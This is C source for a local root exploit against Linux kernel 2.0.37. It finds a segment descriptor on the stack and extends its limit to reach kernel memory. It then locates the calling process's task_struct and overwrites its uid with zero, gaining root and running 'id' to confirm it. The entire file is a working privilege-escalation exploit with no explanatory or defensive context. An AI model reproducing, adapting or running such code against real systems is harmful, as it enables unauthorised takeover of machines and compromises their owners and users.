/* get local root on machines running kernel 2.0.37 */
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
puts("\nFailed: probably not vulnerable");
exit(1);
}

void die2()
{
puts("\nVulnerable, but failed to exploit");
exit(1);
}

int main()
{
int *sp = (int *)&sp;
int *d = sp;
struct task_struct *task = (struct task_struct *)sp;
int pid, uid;
struct rlimit old, new;

setbuf(stdout, NULL);
printf("Searching for the descriptor... ");

signal(SIGSEGV, die1);

while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
(d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

signal(SIGSEGV, die2);

printf("found at %p\nExtending its limit... ", d + 2);

d[2] |= 0xF0000;

printf("done\nSearching for task_struct... ");

pid = getpid();
uid = getuid();

if (getrlimit(RLIMIT_FSIZE, &old)) {
perror("getrlimit");
return 1;
}

search:
new = old; new.rlim_cur--;
if (setrlimit(RLIMIT_FSIZE, &new))
new.rlim_cur = old.rlim_cur;

do {
((int *)task)++;
} while (task->pid != pid || task->uid != uid);

if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

if (setrlimit(RLIMIT_FSIZE, &old)) {
perror("setrlimit");
return 1;
}

if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

printf("found at %p\nPatching the UID... ", task);

task->uid = 0;
setuid(0);
setgid(0);
setgroups(0, NULL);

puts("done");

execl("/usr/bin/id", "id", NULL);
return 1;
}

